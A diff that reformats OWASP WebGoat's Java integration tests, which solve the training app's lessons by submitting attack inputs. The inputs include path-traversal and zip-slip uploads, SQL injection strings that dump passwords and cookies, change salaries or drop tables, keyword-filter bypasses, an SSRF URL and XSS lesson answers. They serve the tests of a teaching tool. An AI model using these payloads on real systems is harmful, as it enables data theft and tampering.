|
||||||
|
import org.junit.jupiter.api.DynamicTest;
|
||||||
|
import org.junit.jupiter.api.TestFactory;
|
||||||
|
import org.junit.jupiter.api.io.TempDir;
|
||||||
|
import org.springframework.security.core.token.Sha512DigestUtils;
|
||||||
|
|
||||||
class PathTraversalIT extends IntegrationTest {
|
class PathTraversalIT extends IntegrationTest {
|
||||||
|
|
||||||
@TempDir
|
@TempDir Path tempDir;
|
||||||
Path tempDir;
|
|
||||||
|
|
||||||
private File fileToUpload = null;
|
private File fileToUpload = null;
|
||||||
|
|
||||||
@ -46,8 +44,7 @@ class PathTraversalIT extends IntegrationTest {
|
|||||||
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
|
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
|
||||||
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
|
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
|
||||||
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
|
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
|
||||||
dynamicTest("assignment 5 - zip slip", () -> assignment5())
|
dynamicTest("assignment 5 - zip slip", () -> assignment5()));
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void assignment1() throws IOException {
|
private void assignment1() throws IOException {
|
||||||
@ -61,7 +58,9 @@ class PathTraversalIT extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/PathTraversal/profile-upload"))
|
.post(url("/WebGoat/PathTraversal/profile-upload"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void assignment2() throws IOException {
|
private void assignment2() throws IOException {
|
||||||
@ -75,7 +74,9 @@ class PathTraversalIT extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/PathTraversal/profile-upload-fix"))
|
.post(url("/WebGoat/PathTraversal/profile-upload-fix"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void assignment3() throws IOException {
|
private void assignment3() throws IOException {
|
||||||
@ -84,16 +85,22 @@ class PathTraversalIT extends IntegrationTest {
|
|||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
|
.multiPart(
|
||||||
|
"uploadedFileRemoveUserInput",
|
||||||
|
"../test.jpg",
|
||||||
|
Files.readAllBytes(fileToUpload.toPath()))
|
||||||
.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
|
.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void assignment4() throws IOException {
|
private void assignment4() throws IOException {
|
||||||
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
|
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
|
||||||
RestAssured.given().urlEncodingEnabled(false)
|
RestAssured.given()
|
||||||
|
.urlEncodingEnabled(false)
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
@ -102,13 +109,16 @@ class PathTraversalIT extends IntegrationTest {
|
|||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
|
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
|
||||||
|
|
||||||
checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
|
checkAssignment(
|
||||||
Sha512DigestUtils.shaHex(this.getUser())), true);
|
url("/WebGoat/PathTraversal/random"),
|
||||||
|
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
|
||||||
|
true);
|
||||||
}
|
}
|
||||||
|
|
||||||
private void assignment5() throws IOException {
|
private void assignment5() throws IOException {
|
||||||
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
|
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
|
||||||
webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
|
webGoatHome =
|
||||||
|
webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
|
||||||
|
|
||||||
var webGoatDirectory = new File(webGoatHome);
|
var webGoatDirectory = new File(webGoatHome);
|
||||||
var zipFile = new File(tempDir.toFile(), "upload.zip");
|
var zipFile = new File(tempDir.toFile(), "upload.zip");
|
||||||
@ -126,12 +136,15 @@ class PathTraversalIT extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/PathTraversal/zip-slip"))
|
.post(url("/WebGoat/PathTraversal/zip-slip"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterEach
|
@AfterEach
|
||||||
void shutdown() {
|
void shutdown() {
|
||||||
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
|
// this will run only once after the list of dynamic tests has run, this is to test if the
|
||||||
|
// lesson is marked complete
|
||||||
checkResults("/PathTraversal");
|
checkResults("/PathTraversal");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -2,10 +2,6 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.response.Response;
|
import io.restassured.response.Response;
|
||||||
|
|
||||||
import org.assertj.core.api.Assertions;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.concurrent.Callable;
|
import java.util.concurrent.Callable;
|
||||||
@ -14,6 +10,8 @@ import java.util.concurrent.ExecutorService;
|
|||||||
import java.util.concurrent.Executors;
|
import java.util.concurrent.Executors;
|
||||||
import java.util.stream.Collectors;
|
import java.util.stream.Collectors;
|
||||||
import java.util.stream.IntStream;
|
import java.util.stream.IntStream;
|
||||||
|
import org.assertj.core.api.Assertions;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
|
public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@ -23,31 +21,37 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
|
|||||||
int NUMBER_OF_PARALLEL_THREADS = 5;
|
int NUMBER_OF_PARALLEL_THREADS = 5;
|
||||||
startLesson("Challenge1");
|
startLesson("Challenge1");
|
||||||
|
|
||||||
Callable<Response> call = () -> {
|
Callable<Response> call =
|
||||||
//System.out.println("thread "+Thread.currentThread().getName());
|
() -> {
|
||||||
|
// System.out.println("thread "+Thread.currentThread().getName());
|
||||||
return RestAssured.given()
|
return RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.formParams(Map.of("flag", "test"))
|
.formParams(Map.of("flag", "test"))
|
||||||
.post(url("/challenge/flag/"));
|
.post(url("/challenge/flag/"));
|
||||||
|
|
||||||
};
|
};
|
||||||
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
|
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
|
||||||
List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
|
List<? extends Callable<Response>> flagCalls =
|
||||||
|
IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
|
||||||
var responses = executorService.invokeAll(flagCalls);
|
var responses = executorService.invokeAll(flagCalls);
|
||||||
|
|
||||||
//A certain amount of parallel calls should fail as optimistic locking in DB is applied
|
// A certain amount of parallel calls should fail as optimistic locking in DB is applied
|
||||||
long countStatusCode500 = responses.stream().filter(r -> {
|
long countStatusCode500 =
|
||||||
|
responses.stream()
|
||||||
|
.filter(
|
||||||
|
r -> {
|
||||||
try {
|
try {
|
||||||
//System.err.println(r.get().getStatusCode());
|
// System.err.println(r.get().getStatusCode());
|
||||||
return r.get().getStatusCode() != 200;
|
return r.get().getStatusCode() != 200;
|
||||||
} catch (InterruptedException | ExecutionException e) {
|
} catch (InterruptedException | ExecutionException e) {
|
||||||
//System.err.println(e);
|
// System.err.println(e);
|
||||||
throw new IllegalStateException(e);
|
throw new IllegalStateException(e);
|
||||||
}
|
}
|
||||||
}).count();
|
})
|
||||||
System.err.println("counted status 500: "+countStatusCode500);
|
.count();
|
||||||
Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
|
System.err.println("counted status 500: " + countStatusCode500);
|
||||||
|
Assertions.assertThat(countStatusCode500)
|
||||||
|
.isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -3,7 +3,6 @@ package org.owasp.webgoat;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class SSRFIntegrationTest extends IntegrationTest {
|
public class SSRFIntegrationTest extends IntegrationTest {
|
||||||
@ -16,15 +15,12 @@ public class SSRFIntegrationTest extends IntegrationTest {
|
|||||||
params.clear();
|
params.clear();
|
||||||
params.put("url", "images/jerry.png");
|
params.put("url", "images/jerry.png");
|
||||||
|
|
||||||
checkAssignment(url("/WebGoat/SSRF/task1"),params,true);
|
checkAssignment(url("/WebGoat/SSRF/task1"), params, true);
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("url", "http://ifconfig.pro");
|
params.put("url", "http://ifconfig.pro");
|
||||||
|
|
||||||
checkAssignment(url("/WebGoat/SSRF/task2"),params,true);
|
checkAssignment(url("/WebGoat/SSRF/task2"), params, true);
|
||||||
|
|
||||||
checkResults("/SSRF/");
|
checkResults("/SSRF/");
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -24,24 +24,22 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
*
|
|
||||||
* @author Angel Olle Blazquez
|
* @author Angel Olle Blazquez
|
||||||
*
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
class SessionManagementIT extends IntegrationTest {
|
class SessionManagementIT extends IntegrationTest {
|
||||||
|
|
||||||
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
|
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
|
||||||
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
void hijackSessionTest() {
|
void hijackSessionTest() {
|
||||||
startLesson("HijackSession");
|
startLesson("HijackSession");
|
||||||
|
|
||||||
checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
|
checkAssignment(
|
||||||
|
url(HIJACK_LOGIN_CONTEXT_PATH),
|
||||||
|
Map.of("username", "webgoat", "password", "webgoat"),
|
||||||
|
false);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -2,7 +2,6 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
|
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
|
||||||
@ -29,7 +28,10 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
|
|||||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
|
params.put(
|
||||||
|
"userid_6a",
|
||||||
|
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
|
||||||
|
+ " user_system_data --");
|
||||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
@ -37,11 +39,21 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
|
|||||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
|
params.put(
|
||||||
|
"question_0_solution",
|
||||||
|
"Solution 4: A statement has got values instead of a prepared statement");
|
||||||
params.put("question_1_solution", "Solution 3: ?");
|
params.put("question_1_solution", "Solution 3: ?");
|
||||||
params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
|
params.put(
|
||||||
params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
|
"question_2_solution",
|
||||||
params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
|
"Solution 2: Prepared statements are compiled once by the database management system"
|
||||||
|
+ " waiting for input and are pre-compiled this way.");
|
||||||
|
params.put(
|
||||||
|
"question_3_solution",
|
||||||
|
"Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
|
||||||
|
+ " resulting in a seperation of code and data.");
|
||||||
|
params.put(
|
||||||
|
"question_4_solution",
|
||||||
|
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
|
||||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
|
||||||
|
|
||||||
checkResults("/SqlInjectionAdvanced/");
|
checkResults("/SqlInjectionAdvanced/");
|
||||||
|
@ -2,13 +2,13 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
|
public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
public static final String sql_2 = "select department from employees where last_name='Franco'";
|
public static final String sql_2 = "select department from employees where last_name='Franco'";
|
||||||
public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
|
public static final String sql_3 =
|
||||||
|
"update employees set department='Sales' where last_name='Barnett'";
|
||||||
public static final String sql_4_drop = "alter table employees drop column phone";
|
public static final String sql_4_drop = "alter table employees drop column phone";
|
||||||
public static final String sql_4_add = "alter table employees add column phone varchar(20)";
|
public static final String sql_4_add = "alter table employees add column phone varchar(20)";
|
||||||
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
|
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
|
||||||
@ -22,7 +22,8 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
|
|||||||
public static final String sql_11_b = "3SL99A' or '1'='1";
|
public static final String sql_11_b = "3SL99A' or '1'='1";
|
||||||
|
|
||||||
public static final String sql_12_a = "Smith";
|
public static final String sql_12_a = "Smith";
|
||||||
public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
|
public static final String sql_12_b =
|
||||||
|
"3SL99A' ; update employees set salary= '100000' where last_name='Smith";
|
||||||
|
|
||||||
public static final String sql_13 = "%update% '; drop table access_log ; --'";
|
public static final String sql_13 = "%update% '; drop table access_log ; --'";
|
||||||
|
|
||||||
@ -73,6 +74,5 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
|
|||||||
checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
|
||||||
|
|
||||||
checkResults("/SqlInjection/");
|
checkResults("/SqlInjection/");
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,15 +1,13 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.http.ContentType;
|
import io.restassured.http.ContentType;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.hamcrest.CoreMatchers.containsString;
|
|
||||||
|
|
||||||
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
|
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@ -27,39 +25,56 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
|
|||||||
params.put("field7", "prep.setString(2,\\\"\\\")");
|
params.put("field7", "prep.setString(2,\\\"\\\")");
|
||||||
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
|
||||||
|
|
||||||
params.put("editor", "try {\r\n" +
|
params.put(
|
||||||
" Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" +
|
"editor",
|
||||||
" PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" +
|
"try {\r\n"
|
||||||
" prep.setString(1,\"me\");\r\n" +
|
+ " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
|
||||||
" prep.execute();\r\n" +
|
+ " PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
|
||||||
" System.out.println(conn); //should output 'null'\r\n" +
|
+ " = ?\");\r\n"
|
||||||
"} catch (Exception e) {\r\n" +
|
+ " prep.setString(1,\"me\");\r\n"
|
||||||
" System.out.println(\"Oops. Something went wrong!\");\r\n" +
|
+ " prep.execute();\r\n"
|
||||||
"}");
|
+ " System.out.println(conn); //should output 'null'\r\n"
|
||||||
|
+ "} catch (Exception e) {\r\n"
|
||||||
|
+ " System.out.println(\"Oops. Something went wrong!\");\r\n"
|
||||||
|
+ "}");
|
||||||
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
|
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
|
params.put(
|
||||||
|
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
|
||||||
checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
|
checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
|
params.put(
|
||||||
|
"userid_sql_only_input_validation_on_keywords",
|
||||||
|
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
|
||||||
checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
|
checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
|
||||||
|
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
|
.get(
|
||||||
|
url(
|
||||||
|
"/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname"
|
||||||
|
+ " else id end)"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200);
|
.statusCode(200);
|
||||||
|
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
.when()
|
||||||
|
.relaxedHTTPSValidation()
|
||||||
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
|
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(500)
|
.statusCode(500)
|
||||||
.body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
|
.body(
|
||||||
|
"trace",
|
||||||
|
containsString(
|
||||||
|
"select id, hostname, ip, mac, status, description from SERVERS where status <>"
|
||||||
|
+ " 'out of order' order by"));
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("ip", "104.130.219.202");
|
params.put("ip", "104.130.219.202");
|
||||||
|
@ -2,41 +2,46 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
|
import io.restassured.RestAssured;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
|
||||||
|
|
||||||
public class WebWolfIntegrationTest extends IntegrationTest {
|
public class WebWolfIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void runTests() throws IOException {
|
public void runTests() throws IOException {
|
||||||
startLesson("WebWolfIntroduction");
|
startLesson("WebWolfIntroduction");
|
||||||
|
|
||||||
//Assignment 3
|
// Assignment 3
|
||||||
Map<String, Object> params = new HashMap<>();
|
Map<String, Object> params = new HashMap<>();
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("email", this.getUser()+"@webgoat.org");
|
params.put("email", this.getUser() + "@webgoat.org");
|
||||||
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
|
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
|
||||||
|
|
||||||
String responseBody = RestAssured.given()
|
String responseBody =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/WebWolf/mail"))
|
.get(webWolfUrl("/WebWolf/mail"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
|
|
||||||
String uniqueCode = responseBody.replace("%20", " ");
|
String uniqueCode = responseBody.replace("%20", " ");
|
||||||
uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
|
uniqueCode =
|
||||||
|
uniqueCode.substring(
|
||||||
|
21 + uniqueCode.lastIndexOf("your unique code is: "),
|
||||||
|
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("uniqueCode", uniqueCode);
|
params.put("uniqueCode", uniqueCode);
|
||||||
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
|
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
|
||||||
|
|
||||||
//Assignment 4
|
// Assignment 4
|
||||||
RestAssured.given()
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
@ -53,20 +58,22 @@ public class WebWolfIntegrationTest extends IntegrationTest {
|
|||||||
.get(webWolfUrl("/landing"))
|
.get(webWolfUrl("/landing"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200);
|
.statusCode(200);
|
||||||
responseBody = RestAssured.given()
|
responseBody =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/WebWolf/requests"))
|
.get(webWolfUrl("/WebWolf/requests"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
assertTrue(responseBody.contains(uniqueCode));
|
assertTrue(responseBody.contains(uniqueCode));
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("uniqueCode", uniqueCode);
|
params.put("uniqueCode", uniqueCode);
|
||||||
checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
|
checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
|
||||||
|
|
||||||
checkResults("/WebWolf");
|
checkResults("/WebWolf");
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,15 +1,12 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class XSSIntegrationTest extends IntegrationTest {
|
public class XSSIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void crossSiteScriptingAssignments() {
|
public void crossSiteScriptingAssignments() {
|
||||||
startLesson("CrossSiteScripting");
|
startLesson("CrossSiteScripting");
|
||||||
@ -47,7 +44,8 @@ public class XSSIntegrationTest extends IntegrationTest {
|
|||||||
.post(url("/CrossSiteScripting/phone-home-xss"))
|
.post(url("/CrossSiteScripting/phone-home-xss"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("output");
|
.extract()
|
||||||
|
.path("output");
|
||||||
String secretNumber = result.substring("phoneHome Response is ".length());
|
String secretNumber = result.substring("phoneHome Response is ".length());
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
@ -55,14 +53,28 @@ public class XSSIntegrationTest extends IntegrationTest {
|
|||||||
checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
|
checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
|
||||||
|
|
||||||
params.clear();
|
params.clear();
|
||||||
params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.");
|
params.put(
|
||||||
params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.");
|
"question_0_solution",
|
||||||
